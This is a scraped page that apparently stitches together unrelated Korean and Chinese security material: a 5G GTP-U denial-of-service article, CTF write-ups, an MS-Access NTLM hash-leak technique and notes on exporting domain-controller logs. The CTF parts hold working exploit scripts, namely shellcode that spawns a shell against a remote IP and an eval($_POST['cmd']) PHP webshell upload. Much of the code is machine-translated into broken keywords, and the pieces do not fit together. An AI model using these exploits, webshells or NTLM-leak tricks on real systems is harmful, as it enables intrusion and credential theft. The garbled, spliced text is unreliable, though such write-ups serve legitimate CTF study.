먼저 Yakit 및 Burp Suite의 트래픽을 납치하여 나중에 트래픽 추세를 볼 수 있습니다.

image.png

image.png

2. AWVS 스캐닝 대상을 설정하십시오

AWVS 스캔 대상을 설정하여 트래픽에 액세스하십시오. 스캔 대상을 추가하고 (이 대상은 승인되었습니다) 저장을 클릭하십시오.

5G開啟了傳統無線連接無法實現的前所未有的應用,幫助企業加速數字化轉型、降低運營成本,並最大限度地提高生產力,以獲得最佳投資回報。為了實現目標,5G依賴關鍵的服務類別:大規模機器類型通信(mMTC)、增強型移動寬帶(eMBB)和超可靠低延遲通信(uRLLC)。

隨著商用頻譜不斷增加,專用5G網絡的使用率和普及率也隨之提高。製造、國防、港口、能源、物流和採礦等行業只是這些專用網絡的早期採用者之一,特別是對於那些迅速依賴物聯網以實現生產系統和供應鏈數字化的公司。與公共電網不同,專用5G中的蜂窩基礎設施設備可能歸用戶企業、系統集成商或運營商擁有和運營。然而,鑑於針對使用5G開發各種技術的研究和探索越來越多,網絡犯罪分子也在考慮利用種種威脅和風險,企圖通過這種新的通信標準,入侵用戶和組織的系統和網絡。本文探討了普通用戶設備如何在5G網絡基礎設施和用例中被濫用。

5G拓撲結構在端到端5G蜂窩系統中,用戶設備(又名UE,比如移動電話和物聯網設備)通過無線電波連接到基站,基站則通過有線IP網絡連接到5G核心。

從功能上來說,5G核心可以分為兩個平面:控制平面和用戶平面。在網絡中,控制平面承載信號,並根據流量從一個端點到另一個端點的交換方式為流量傳輸提供方便。同時,用戶平面負責連接和處理通過無線局域網(RAN)傳輸的用戶數據。

基站發送與設備連接相關的控制信號,並通過NGAP(下一代應用協議)與控制平面建立連接。來自設備的用戶流量使用GTP-U(GPRS隧道協議用戶平面)發送到用戶平面。數據流量從用戶平面路由傳輸到外部網絡。

1.jpg

圖1. 基本的5G網絡基礎設施

UE子網與基礎設施網絡相互分離、隔離,不允許用戶設備訪問基礎設施組件。這種隔離有助於保護5G核心免受來自用戶設備的CT(蜂窩技術)協議攻擊。

有沒有辦法繞過這種隔離、攻擊5G核心呢?接下來的章節將詳細介紹網絡犯罪分子如何可以濫用5G基礎設施的組件、尤其是GTP-U。

GTP-UGTP-U是一種隧道協議,存在於基站和5G用戶平面之間,使用端口2152。下面是用GTP-U封裝的用戶數據分組結構。

2.jpg

圖2. GTP-U數據分組

GTP-U隧道分組是通過將報頭附加到原始數據分組而形成的。添加的報頭由UDP(用戶數據報協議)傳輸報頭和GTP-U特有的報頭組成。 GTP-U報頭則由以下字段組成:

• 標誌:這包含版本及其他信息(比如表明是否存在可選的報頭字段等信息)。

• 消息類型:對於承載用戶數據的GTP-U分組而言,消息類型為0xFF。

• 長度:這是隧道端點標識符(TEID)字段之後的所有內容的長度(以字節為單位)。

• TEID:隧道的獨特值,用於將隧道映射到用戶設備。

GTP-U報頭由GTP-U節點(基站和用戶平面功能即UPF)添加。然而,用戶無法在設備的用戶界面上看到報頭。因此,用戶設備無法操縱報頭字段。

雖然GTP-U是一種標準的隧道技術,但其使用主要局限於基站和UPF之間或UPF和UPF之間的CT環境。假設在理想場景下,基站和UPF之間的回程經過加密,受到防火牆保護,並且不允許外部訪問。下面詳述這種理想場景:GSMA建議在基站和UPF之間使用IP安全(IPsec)。在這種場景下,到達GTP-U節點的分組只來自授權的設備。如果這些設備遵循規範並合理實施,它們不會發送異常分組。此外,可靠的系統應該有強大的完整性檢查機制,以處理接收到的異常信息,特別是明顯的異常信息,比如無效的長度、類型和擴展等。

然而在現實中,場景可能往往不同,需要完全不同的分析。運營商不願意在N3接口上部署IPsec,因為它耗用大量CPU資源,降低了用戶流量的吞吐量。此外,由於用戶數據被認為在應用層受到保護(借助額外協議,比如TLS即傳輸層安全),一些人認為IP安全是多餘的。有人可能認為,只要基站和分組-核心符合具體要求,就不會出現異常情況。此外,有人可能還認為,對於所有可靠的系統而言,都需要進行完整性檢查,以發現任何明顯的異常。然而之前的研究表明,全球各地的許多N3節點(比如UPF)暴露在互聯網上,儘管不應該如此。這將在以下的章節中介紹。

3.png

圖3. 因配置錯誤或缺少防火牆而暴露的UPF接口,截圖來自Shodan,並用於之前發表的研究結果

我們討論了兩個可以使用CVE-2021-45462利用GTP-U的概念。在Open5GS這種面向5G核心和進化分組核心(EPC)的C語言開源實現中,從用戶設備發送零長度、類型=255的GTP-U分組導致了UPF遭到拒絕服務(DoS)。這是CVE-2021-45462,分組核心中的這個安全漏洞可以通過從用戶設備製作的異常GTP-U分組,並通過在GTP-U中發送該異常GTP-U分組,導致UPF(5G中)或服務網關用戶平面功能(4G/LTE中的SGW-U)崩潰。鑑於該漏洞影響基礎設施的關鍵組件,並且無法輕易解決,該漏洞的嚴重性等級為中到高。

GTP-U節點:基站和UPFGTP-U節點是對GTP-U分組進行封裝和解封裝的端點。基站是用戶設備端上的GTP-U節點。基站從UE接收用戶數據時,將數據轉換成IP分組,並在GTP-U隧道中封裝。

UPF是5G核心端的GTP-U節點。當UPF接收到來自基站的GTP-U分組時,UPF對外部的GTP-U報頭進行解封裝,取出內部分組。 UPF不檢查內部分組的內容,直接查詢路由表(也由UPF維護)中的目的地IP地址,然後繼續發送分組。

GTP-U中的GTP-U如果用戶設備製作了一個異常的GTP-U分組,並將其發送到分組核心,會怎麼樣?

4.png

圖4. 一個精心特製的異常GTP-U分組

5.jpg

圖5. 從用戶設備發送異常的GTP-U分組

果不其然,基站將把該數據包放入到其GTP-U隧道中,發送給UPF。這導致GTP-U分組中的GTP-U到達UPF。 UPF中現在有兩個GTP-U分組:外部GTP-U分組報頭由基站創建的,用於封裝來自用戶設備的數據分組。這個外部GTP-U分組的消息類型為0xFF,長度為44。這個報頭是正常的。內部GTP-U報頭由用戶設備製作並作為數據分組來發送。與外部GTP-U分組一樣,這個內部GTP-U分組的消息類型為0xFF,但長度0不正常。

內部分組的源IP地址屬於用戶設備,而外部分組的源IP地址屬於基站。內部分組和外部分組的目的地IP地址一樣:都是UPF的目的地IP地址。

UPF對外部GTP-U進行解封裝,並通過功能檢查。內部GTP-U分組的目的地還是同樣的UPF。接下來發生的事情因實現方法而異:

• 一些實現維護用於分組遍歷的狀態機。狀態機的不正確實現可能導致處理這個內部GTP-U分組。該分組可能已經通過了檢查階段,因為它與外部分組擁有相同的分組上下文。這導致系統內部有一個異常分組通過完整性檢查。

• 由於內部分組的目的地是UPF本身的IP地址,因此分組可能被發送到UPF。在這種情況下,分組很可能會通過功能檢查,因此問題不如前一種情況來得嚴重。

攻擊途徑一些5G核心供應商利用Open5GS代碼。比如說,NextEPC(4G系統,2019年更名為Open5GS以添加5G,剩餘產品來自舊品牌)提供了面向LTE/5G的企業版,借鑒了Open5GS的代碼。沒有觀察到外頭有任何攻擊或威脅跡象,但我們的測試使用已確定的場景表明存在潛在風險。

攻擊的重要性在於攻擊途徑:來自UE的蜂窩基礎設施攻擊。利用該漏洞只需要一部移動電話(或通過蜂窩加密狗連接的計算機)和幾行Python代碼,就可以濫用該缺口,並發動這類攻擊。 GTP-U中的GTP-U攻擊是一種眾所周知的技術,回程IP安全和加密無法阻止這種攻擊。事實上,這些安全措施可能會阻礙防火牆檢查內容。

補救和心得醫療和電力等關鍵行業只是專用5G系統的早期採用者之一,5G廣泛使用的廣度和深度只會與日俱增。對於這些行業來說,確保持續不間斷運作的可靠性至關重要,因為這關係到千萬條生命和實際影響。這些行業的性質決定了它們選擇使用專用5G系統,而不是Wi-Fi。專用5G系統必須提供持久的連接,因為對任何5G基礎設施的攻擊得逞都可能導致整個網絡癱瘓。

在本文中,濫用CVE-2021-45462可能導致DoS攻擊。 CVE-2021-45462(以及大多數GTP-U中的GTP-U攻擊)的根本原因是分組核心中的錯誤檢查和錯誤處理不當。雖然GTP-U-中的GTP-U本身無害,但修復這個漏洞的適當措施必須來自分組核心供應商,而基礎設施管理員必須使用最新版本的軟件。

GTP-U中的GTP-U攻擊還可以用於洩露敏感信息,比如基礎設施節點的IP地址。因此,GTP-U對等體應該準備好處理GTP-U中的GTP-U分組。在CT環境下,它們應該使用能夠理解CT協議的入侵防禦系統(IPS)或防火牆。由於GTP-U不是正常的用戶流量,特別是在專用5G中,安全團隊可以優先考慮並丟棄GTP-U中的GTP-U流量。

一般來說,SIM卡的註冊和使用必須嚴格加以規範和管理。擁有被盜SIM卡的攻擊者可以將其插入攻擊者的設備,連接到網絡部署惡意軟件。此外,對於採用共享操作模式的一些人來說,安全責任可能很模糊,比如企業擁有的基礎設施鏈的終端設備和邊緣。同時,蜂窩基礎設施歸集成商或運營商所有。這給安全運營中心(SOC)帶來了一項艱鉅的任務:將來自不同領域和解決方案的相關信息整合在一起。

此外,由於需要停機和測試,定期更新關鍵基礎設施軟件以跟上供應商的補丁並不容易,也永遠不會容易。因此,強烈建議使用IPS打虛擬補丁或採用分層防火牆。幸好,GTP中的GTP很少在實際應用中使用,因此可以完全阻止所有GTP中的GTP流量。我們建議使用結合IT和通信技術(CT)安全性和可視性的分層安全解決方案。實施零信任解決方案,為企業和關鍵行業增加另一層安全,以防止未經授權使用專用網絡,以實現連續不中斷的工業生態系統,並確保SIM卡只能從授權設備上使用。

1. 데이터 보안 질문

1 .as

예와 질문을보고 쓰기 Exp

def pell_recurrence (x1, y1, x, y, d) :

x_next=x1 * x + d * y1 * y

y_next=x1 * y + y1 * x

x_next, y_next를 반환합니다

#믿다

def generate_until_threshold (x1, y1, d, 임계 값) :

x, y=1, 0

솔루션=[(x, y)]

반복=0

True:

x, y=pell_recurrence (x1, y1, x, y, d)

반복 +=1

Solutions.Append ((X, Y))

x 임계 값과 y 임계 값인 경우

부서지다

반품 솔루션, 반복, (x, y)

################################################### #######################################################################################YOUMYYM

def main () :

D=42232

X1, Y1=10863430363390444672094671043496198963286006933268451418419427752345999, 52862312812076818203801374519259164308207980652808243827880652144787200

임계 값=2 **0x149f

솔루션, 반복, last_solution=generate_until_threshold (x1, y1, d, 임계 값)

print (f 'x={last_solution [0]}')

print (f 'y={last_solution [1]}')

n1=(Last_Solution [0] -1) //2

n2=last_solution [1]

인쇄 (N1)

인쇄 (N2)

__name__=='__ 메인 __': 인 경우

main () image-20250403151324146

N1=6484456464385494958985160233577839841735795804473541907965865471825503785272678822222223754144416 5172555010268946547371838387582496807783872409495175343418420178605123847893899093406677173844538 634240765920500106813530272923710062024324879910469788878708717896042881627844174314231125376214954 191547729867576758551671299193867007260053941673833333312842542794986302553731384956828280106931847810 5747928749942182896044998865749248512370269452313096224318388047216423763541300420337417782206304 4408922159647529108936153248709307757583423432206558845108059414461593855011448692345628664306 83959981553165969134977744797440777424234381471672458781349375368354137657751284194009683337 897606497230343157092891975885033309810185295961357191249517789616682247175593069461888888888813 059885471926155737315230514752046521202893304056240282834692548759885970543898301236709193423 0242946589463785934444443029018424523547397999999943751900954643195971492238007190552442974382991653088 94827406935888888888888947780910754797043403338315077248175845012048361045898033382579417081596422 21431364092087627932238340345061520303793480769731939908956253484222391138185162719396503715138316 61159295598370595261204299608982637315116533642003066669261874318917777777511599010768666767007935738 23935662067654373217132550909022471458326286291025447386537438528458980011935439932582958912 542652555558695373047067726351358183876589163636096276667169682852304974550725035557641675806757 3954596043890492834784253219485112525030553753092423333264250758350828806805623873239302114836480000

N2=6310775778373158072121506050012120110110737000921159830860487405951913977629845084436128491344735820 400264903056115667281579073327945532438949038244192826523764101532018565743490392509759609697887 88325444231817568932630406378290843956256970846735492761586936928880019298918917442234446613339985 3927778347597501992783349577759948389598413174615232愚人节340208973243584337320359607836900037507 801983941584013345449804347344405786017144561862888858206999995555557864335810426614970929579975227 4011822253828253846093465289623440363883250259046741321911200142678063796240523447461120883480 9003855546323206318760733316353796062046207210640529484343373700073814417337348039530722450965823938 028647293309243825273560981374529318529342514017856189789915212062470755198888904264788869371756843 8766117594474482828255975342557814885279693013920359743897278354653848976322146722301616470057230 068271661333034555567071000363844315811357274703954155522493794845091481848371069289334733846351 3562506182502826257198176485230753980573080357918135532017187134962666791602751075678752308935413 19068679146341573352252143049354837544407433056725122793002161618380935544441531642048116980907626 42324815609182517988506268150630360407065284691305601280740083579032479034947212812440317249494943 3411188350035978075888936279816925317068991219980838476317761440997387670316498292979999928354912 238925949073238723303504957174689978086401613054702477445158411519923503718585827273942555857158966 004358344039029898799405479632695043708918494502587524196559584122132413440460209140828413581600

NC 연결 제출

image-20250403151353410

username3:admin-jm password:jm001x를 얻으십시오!

FLAG:

MD5 (admin-JM+JM001X!)

image-20250403151635504

또는:

#SAGE 9.5

crypto.util.number import *에서 *

PWN 가져 오기 *

SYS 가져 오기

sys.set_int_max_str_digits (0)

DEF 상호 작용 (IO, X, Y) :

io.recvuntil (b': ')

io.sendline (b'2 ')

io.recvuntil (b'n1 ~ ')

io.sendline (str (x) .encode ())

io.recvuntil (b'n2 ~ ')

io.sendline (str (y) .encode ())

io.recvline ()

반환 io.recvline ()

D=42232

Check=2 **0x149f

def solve_pell (n) :

cf=conayd_fraction (sqrt (n))

i=0

WHILETRUE:

I +=1

Denom=cf.denominator (i)

숫자=cf.numerator (i)

if (((숫자 -1) //2)=check) 또는 (Denom=Check) :

계속 계속하십시오

숫자^2 -n * delom^2==1: 인 경우

x, y=int ((숫자 -1) //2), int (denom)

RES=상호 작용 (io, x, y)

ifb'sorry'in res:

계속 계속하십시오

반환 해상도

IO=원격 ('47 .117.41.252 ','33410 ')

context.log_level='디버그'

RES=SOLVE_PELL (D)

인쇄 (RES)

io.interactive ()

#b'verify success! 사용자 이름 [admin-jm], 당신의 비밀번호 [jm001x!] ~ 'Final Flag:

B7133D84297C307A92E70D7727F55CBC

2.SCSC

제목 설명 :

프로그램 취약점을 사용하여 info_sec 파일에서 데이터 정보를 얻고 11 행, 열에서 데이터를 제출하십시오.

질문의 프로세스 : SCSC Binary 파일을 얻었을 때 정적으로 컴파일되었고 라이브러리 기능이없고 기호 테이블이 없어서 이름이없는 라이브러리 기능이 없음을 발견했습니다.

여기서 우리는 역 기술을 사용합니다. 일부 기호 테이블을 복원하는 세 가지 방법이 있습니다.

다른 버전의 SIG 파일을 사용하고, Bindiff 사용을 복원하고, 다른 LIBC 파일을 사용하고, 라이브러리 기능의 기계 코드를 비교하고 지문 플러그인을 사용하여 기능 이름을 복원하십시오 (인터넷에 연결해야 함). 개인적으로 가장 이상적인 효과는 지문 플러그인이라고 생각합니다. 이 게임은 끊임없이 온라인 상태이므로 사용합니다. 그것은 LIBC를 인식 할뿐만 아니라 그것 없이는 C ++ 라이브러리를 사용했다는 것을 모르겠습니다. 여기서 우리는 회복 후 효과를 보여줍니다

이 프로그램은 AES 암호 해독 함수 세트 Shellcode Executor이며 일부 가시 문자를 비활성화합니다. 문자를 필터링하지 않고 Shellcode를 암호화하고 전송해야합니다.

다음은 ShellCode를 사용하여 읽기를 작성하고 점프 한 다음 일반 쉘 코드를 입력하는 가장 쉬운 방법입니다. 여기에서 보이는 문자 필터링은 "SH"및 다양한 64 비트 레지스터 작업을 제한합니다. 그래서 32 비트 레지스터를 사용하여 쉽게 우회하고 SYS_READ를 켜고 ShellCode를 주입, GetShell을 사용했습니다.

PWN 가져 오기 *

std_pwn 가져 오기 *

Crypto에서 Cipher Import AES에서

crypto.util.padding 가져 오기 패드

DefgetProcess (IP, 포트, 이름) :

글로벌 p

iflen (sys.argv) 1 및 sys.argv [1]=='r':

P=원격 (IP, 포트)

반환 p

else:

p=프로세스 (이름)

반환 p

SL=LAMBDA X: P.SENDLINE (X)

SD=Lambda x: P.Send (X)

SA=Lambda X, Y: P.SendAfter (X, Y)

SLA=LAMBDA X, Y: P.Sendlinter (x, y)

RC=Lambda X: P.RECV (X)

rl=lambda: p.recvline ()

ru=lambda x: p.recvuntil (x)

ita=lambda: p.interactive ()

SLC=LAMBDA: ASM (Shellcraft.sh ())

uu64=lambda x: u64 (x.ljust (8, b '\ 0'))

UU32=Lambda x: U32 (x.ljust (4, b '\ 0'))

# Return SL, SD, SA, SLA, RC, RL, RU, ITA, SLC, UU64, UU32

defaes_ecb_encrypt (PlainText) :

인쇄 (일반 텍스트)

C inb'0Moyhjlcit1zkbnrnchag':의 경우

일반 텍스트 3: 인 경우

print (f '{chr (c)} in in it!')

# 육각형 문자열 키를 바이트로 변환합니다

키=B'862410C4F93B77B4 '

# AES 암호화를 만듭니다

cipher=aes.new (key, aes.mode_ecb)

# 일반 텍스트를 채우고 암호화하십시오

padded_plaintext=pad (PlainText, aes.block_size)

ciphertext=cipher.encrypt (padded_plaintext)

# ciphertext를 16 진수 문자열로 변환하고 반환합니다

Ciphertext를 반환하십시오

shellcode='' '

RSP를 푸시하십시오

팝 RSI

Mov Edi, 0

Mov EDX,0xff

RDI를 푸시하십시오

팝 락스

SYSCALL

JMP RSP

'' ''

# 01ayhcjitkbn molznrchg

p=getProcess ('47 .117.42.74 ', 32846,'./scsc ')

Context (os='linux', arch='amd64', log_level='debug', terminal=[ 'tmux', 'splitw', '-h']))).

ELF=ELF ( './SCSC')

GDBA ()

페이로드=ASM (ShellCode)

SA ( 'Magic Data:', AES_ECB_ENCRYPT (ASM (ShellCode))))

SL (ASM (Shellcraft.sh ()))

ita () 또는

#!/usr/bin/env python3

PWN 가져 오기 *

context.log_level='디버그'

context.arch='amd64'

# io=프로세스 ( './SCSC')

IO=원격 ('47 .117.41.252 ', 33414)

shellcode='' '

XCHG R8, RAX

XCHG R8, RSI

서브 edi, edi

Mov EDX,0x99

서브 eax, eax

SYSCALL

'' ''

payload1=asm (shellcode)

print ( 'shellcode=', payload1.hex ())

Payload1=bytes.fromHex ( 'e29ACA48E52D1D59C539C172262E56C7AEAE3B0EBB4E872FA01F84506AD7C26')

payload2=b '\ x90'*len (payload1) + asm (shellcraft.sh ())

# gdb.attach (io)

io.sendlinter (b'magic data: ', payload1)

정지시키다()

io.send (payload2)

io.interactive ()

3. ez_upload

제목 설명 :

이 질문에는 테스트 질문에 대한 첨부 파일이 없습니다. 첨부 파일 다운로드 버튼을 무시하십시오! 서버는 암호화 된 데이터에 대해 RSA 키 파일을 저장합니다. 관리자는 서버 사이트를 유지 관리 할 때 취약한 테스트 사이트를 제 시간에 수리하지 않았습니다. RSA 키가있는 경로를 제출하십시오 (제출 스타일 : 파일이있는 경로가 /var /www 인 경우 제출 답변은 /var /www).

문제 절차 :

예비 아이디어, 말을 전달하고, getshell을 통과 한 다음 RSA와 관련된 파일을 찾으십시오.

HTML과 PHP는 모두 WAF에 의해 떨어집니다. 접미사는 파일 내용을 감지하는 데 사용될 수 있습니다.

Content-Type: Text/Html waf this

접미사는 wafed, html, php,htaccess, '. php', '. php5', '. php4', '. php3', '. php2', '. html', '. htm', '. pht', '. p ht ','. php ','. php5 ','. php4 ','. php3 ','. php2 ','. html ','. htm ','. phtml,user.ini

이렇게하지 않습니다. 그러나 phtml 접미사의 에코는이 맥락이 아닙니다.

PHP7.2 이상, HTACCESS 파일을 구성해야합니다

PNG 2 렌더링이 아닙니다

미들웨어는 아파치이며 취약성을 해결합니까?

파일 내용이 확인되고 PHP를 포함하는 컨텐츠는 WAF에 의해 삭제됩니다.

성공적으로 말을 통과했습니다

?=@eval ($ _ post [ 'cmd']);Image

RSA 키를 찾는 경로는/var/www/rssss4a입니다

Image

4. 데이터 공개 및 개인 정보 보호

제목 설명 :

홍보 부서의 기술 지원 직원으로서, 과도한 데이터 탈감작으로 인해 뛰어난 자원 봉사자를 공개적으로 칭찬하는 활동을 수행 할 때 개인 정보를 정확하게 식별 할 수 없어

여러 자원 봉사자들이 정보에 대해 혼란스러워합니다. 첨부 파일에서 《题目说明文档》의 작업 요구 사항에 따라 문제를 해결하십시오.

문제 절차 :

항목 :open 파일 - 테이블 Base64 암호화 - 시간 ()을 사용하여 의사 랜덤 배열 생성 - exoor 암호화 - 새 파일에 쓰기

微信截图_20231111174838.png

10 月12 日,微軟宣布新一輪過渡計劃,棄用NTLM 身份認證方式,讓更多企業和用戶過渡到Kerberos。

Microsoft Access (Office套件的一部分)有一個“鏈接到遠程SQL Server表”的功能。攻擊者可能會濫用此功能,通過任意TCP端口(如端口80)自動將Windows用戶的NTLM令牌洩露給攻擊者控制的任何服務器。只要受害者打開.accdb或.mdb文件,就可以發起攻擊。事實上,更常見的Office文件類型(如.rtf)都可以以類似方式運行。這種技術允許攻擊者繞過現有的防火牆規則,這些規則旨在阻止由外部攻擊發起的NTLM信息竊取。

什麼是NTLM?針對它的常見攻擊有哪些? NTLM是NT LANManager的縮寫,這也說明了協議的來源。 NTLM是指telnet的一種驗證身份方式,即問詢/應答身份驗證協議,是Windows NT 早期版本的標準安全協議,是Microsoft在1993年引入的一種目前已被棄用的身份驗證協議。微軟在今年10月宣布,棄用NTLM 身份認證方式,讓更多企業和用戶過渡使用Kerberos,Kerberos 提供了更好的安全保證,並且比NTLM 更具可擴展性,現在成為Windows 中首選默認協議。

企業雖然可以關閉NTLM 身份認證,但那些硬連線(hardwired)的應用程序和服務可能會遇到問題,為此微軟引入了兩個身份驗證功能。

其一是Initial and Pass Through Authentication Using Kerberos(IAKerb),允許“沒有域控制器視線的客戶端通過有視線的服務器進行身份驗證”。

另一個是Kerberos 的本地密鑰分發中心(KDC),它增加了對本地賬戶的身份驗證支持。通過上述兩項功能的推進,Kerberos 將成為唯一的Windows 身份驗證協議。

以下是針對NTLM的三種最著名的攻擊。

1.暴力攻擊利用NTLM哈希函數規範中的固有漏洞,從存儲在服務器上的NTLM哈希中恢復原始密碼。

2.傳遞哈希攻擊濫用了NTLM哈希來挑戰/響應模型來證實客戶端的身份,使得使用哈希而不是普通密碼這一事實在本質上毫無意義。

3.中繼攻擊通常被稱為“中間人”攻擊,攻擊者攔截握手交易,在與服務器交談時假扮成客戶端,反之亦然,這樣就可以將他們的消息互相傳遞,直到會話被驗證的關鍵時刻,此時攻擊者切斷合法客戶端並代替他們進行對話。

上述攻擊的緩解措施出現在Kerberos中,Kerberos是麻省理工學院開發的一種身份驗證協議,比NTLM早了整整五年。

不過,對於任何想要保留NTLM服務器的用戶來說,微軟設計了一個過渡機制,簡單地阻止通過NTLM協議使用的端口(139和445)的所有組織出站流量,使上述攻擊更加難以執行,這樣攻擊者就不可能獲得對網絡的初始Access的口令。這種由外部攻擊發起的攻擊技術被稱為“強制身份驗證”。

不過這種權宜之計總是漏洞百出。在這篇文章中,我們提出了一種新的方法,可以繞過這些端口使緩解措施失效,即可以直接針對內部用戶進行NTLM攻擊。這種方法通過濫用MS-Access應用程序中稱為“Access鍊錶”的功能來實現。

MS-Access中的鍊錶在討論攻擊者如何濫用此功能之前,我們將首先解釋該功能在用於合法目的時是如何正常工作的。使用鍊錶,用戶可以連接到外部數據庫,例如遠程Microsoft SQL服務器,這種功能的優勢應該是不言而喻的,不過讓每個用戶在他們的本地設備上保留一個數據庫副本在很多時候並不是一個很好的解決方案,而且絕對不是長久的解決方案。要激活該功能,用戶可以點擊“外部數據”選項卡的“ODBC Database”按鈕,如下所示。我們以Office 2010為例,但這同樣適用於所有版本的Office。

1.png

點擊“ODBC Database”按鈕啟動連接到Microsoft Access 2010上的遠程SQL Server的引導

MS-Access建議使用另一種方法,用一次性下載遠程表,這樣就可以將結果視為本地表。為了實際使用鏈接功能並與遠程數據庫同步,用戶選擇了另一個選項,“通過創建鍊錶鏈接到數據源”。

2.png

MS-Access允許用戶在創建遠程數據庫的本地副本和完整的遠程鏈接之間進行選擇

然後,用戶在對話框中選擇“SQL Server”作為ODBC Database。

3.png

選擇ODBC Database類型的對話框

ODBC(OpenDatabaseConnectivity,開放數據庫互連)是微軟公司開放服務結構(WOSA,Windows Open Services Architecture)中有關數據庫的一個組成部分,它建立了一組規範,並提供了一組對數據庫訪問的標準API(應用程序編程接口)。

此時,用戶需要選擇使用遠程服務器進行身份驗證的方法,如下圖所示。

4.png

選擇SQL Server身份驗證方法的對話框

一般的用戶會根據服務器支持的身份驗證方法、公司安全策略以及他們個人認為方便的方式進行選擇。為了方便講解,我們會假設用戶選擇使用自己的Windows ID憑據進行身份驗證的選項。此外,典型的用戶可能會將遠程服務器的端口保留為默認值(1433),但是,出於為了方便講解,我們暫時假設用戶選擇不經常使用的端口,例如端口80。

畢竟,沒有什麼可以阻止SQL服務器監聽端口80,一個合法組織的SQL服務器可能不會這樣做,但是如果有人這樣做了,網絡也不會產生什麼異常。

5.png

選擇服務器的IP地址、端口和協議的對話框

假設遠程SQL服務器的身份驗證成功並且所選表存在,那麼在客戶機的“tables”列表中就會出現一個表示鍊錶的新條目。當用戶點擊此條目時,將建立到該遠程數據庫的連接,並且MS-Access客戶端嘗試使用用戶的Windows憑據與SQL服務器進行身份驗證。

6.png

在MS-Access的“tables”列表中顯示的鍊錶

濫用鍊錶在將該功能武器化並轉化為NTLM中繼攻擊之前,攻擊者可以設置一個他們控制的服務器,監聽端口80,並將其IP地址放在上面的“服務器別名”字段中。然後,他們可以將數據庫文件(包括鍊錶)發送給受害者。如果受害者打開文件並點擊表,受害客戶端CV將聯繫攻擊者控制的服務器SA並嘗試進行身份驗證。然後,SA處於執行攻擊的最佳位置,它可以立即啟動同一組織中目標NTLM服務器ST的身份驗證過程,接收挑戰,並將該挑戰作為攻擊者控制的CV的一部分發送到CVSA身份驗證過程,接收有效響應,然後將該響應傳遞給SA來通過ST的成功身份驗證。身份驗證是使用TDS中封裝的NTLMSSP來完成的。讓受害者打開文件並點擊數據庫是一件很危險的事情。關於“點擊數據庫”部分,從技術上講,MS Access支持宏,因此攻擊者理論上可以創建一個自動打開鏈接表的宏,並將其設置為在打開文件時自動執行,這是通過將宏命名為AutoExec來實現的。當然,這是一條死胡同,因為隨後會提示用戶啟用宏,就在去年,微軟計劃推出了一項針對這種情況的新安全功能。這個功能不適用於簡單的MS Access宏。這些與成熟的VBA不同,它們的功能較弱,處理起來也不那麼謹慎。即使是2010年推出的可證明有效的“受保護視圖(protected view)”功能,該功能會提示用戶文檔“可能不安全”並提示用戶“啟用宏”。

7.png

添加一個打開鏈接表的MicrosoftAccess宏,並將其保存為“AutoExec”以在打開文件時執行

OLÉ, OLÉ, OLÉMicrosoft Access在Windows上註冊為“OLE鏈接”服務器。例如,可以在Word文檔中嵌入圖像,當文檔被打開時,MS-Paint將處理圖像並發回信息,從而使MS-Word可以內聯顯示圖像。

同樣,也可以將MS word文檔中的.accdb文件鏈接為OLE對象,該對象將自動下載(也可以通過端口80/tcp),然後由MS Access處理。像下面這樣簡單的字符串就會觸發這個行為:

\\\\111.111.111.111@80\\test.accdb

總的來說,整個攻擊鍊是這樣的:

8.png

濫用鍊錶

概念驗證為了方便研究,研究人員建立一個展示這種攻擊的概念驗證環境,禁用服務器的第一個響應數據包(PRE-LOGIN消息響應)中的加密,可以使研究的工作變得更容易,因為不需要處理TDS TLS加密。

以下是模擬受害者和虛假SQL服務器活動的過程,受害者位於典型的端口阻塞環境中(阻塞傳出的139/tcp和445/tcp流量,但允許80/tcp),而攻擊者控制的服務器位於公共雲中。受害者在試圖通過端口80上的服務器進行身份驗證時洩露了本地net-NTLMv2哈希值。

9.png

流量捕獲(PCAP)顯示了一次成功的攻擊,它使受害者通過端口80洩露了本地NTLM哈希

防禦和緩解措施研究人員已經成功地在所有可用的默認Windows + Office環境中復制了攻擊,包括最新的Windows 10/11 和Office 2021環境。

建議你可以考慮禁用MS-Access中的宏,或者如果MS-Access對你的Office套件安裝不是必需的,則將其從系統中完全刪除。

另外,請不要打開未經請求的附件。

도메인의 로그는 일반적으로 .evtx로 끝나므로 DIR 명령을 사용하려면 도메인의 로그를 검색해야합니다.

dir/s/b *.evtx

/s : 하위 디렉터를 포함한 재귀 검색을 의미합니다.

/b : 결과가 간결한 모드로 표시되며 다른 정보없이 파일 경로 만 표시됩니다.

여기서 우리는 로그 패러 도구를 직접 사용하여 도메인의 로그 정보를 내보낼 수 있습니다. (도메인 제어 호스트에서)

LogparSer 도구는 필터링을 위해 SQL 쿼리 메소드를 사용합니다.

다음 지침을 사용하여 문자열 열 및 EventId 열을 통해 도메인에서 사용자의 로그인 동작을 필터링하십시오.

logparser.exe -i:evt -o:csv 'select recordnumber, timewritten, eventid, strings, c: \ log5.csv incertid='4624 '및 문자열'%| kerberos |%|%.%.%'및 strings'%|%|%|%|%'' ''

-i: 입력 파일 유형 -O: 출력 파일 유형

정상 도메인 침투 중에 도메인 제어를 직접 가져 와서 도메인 제어 호스트에서 작동하여 로그를 내보내십시오. 일반적으로 분석을 위해 도메인 제어 로그 또는 지정된 멤버 호스트의 로그를 내보내는 것은 비현실적입니다. 1. VPN 방법; 2. 양말 터널을 건설하십시오. 3. 원격 트로이 목마 방법을 구축하십시오.

query logs vpn

일반적으로 대상 호스트를 VPN을 통해 연결하고 작동을 위해 인트라넷 환경에 들어갑니다.

여기서 도메인 관리 계정이 얻어졌으며 도메인 관리 자격 증명을 통해 내보내기 로그 분석이 수행된다고 가정합니다.

1. 호스트의 로그인 레코드를 쿼리하십시오

먼저 도메인 제어의 로그 저장 위치 획득

dir /s /b \\ 10.10.10.10 \ c $ \ security.evtx

도메인 제어 로그 파일은 사본 명령을 통해 로컬로 복사 할 수 있습니다.

복사 \\ 10.10.10.10 \ c $ \ windows \ system32 \ Winevt \ logs \ C: \ Users \ Admins \ Desktop \ log

로그 파일은 숨겨진 파일이므로 로그 파서를 통해 모든 .evtx 파일을 직접 내보낼 수 없습니다 (검색 할 수 없음)

그러나 로그 파서를 사용하여 부분적인 로그를 원격으로 내보낼 수 있습니다.

logparser.exe -i:evt -o:csv 'select * in in c: \ 1.csv \\ remoteserver \ security'

logparser.exe -i:evt -o:csv 'select * in in c: \ 1.csv from \\ 10.10.10.10 \ security'

2. 연결 중에 로그의 흔적을 쿼리하십시오

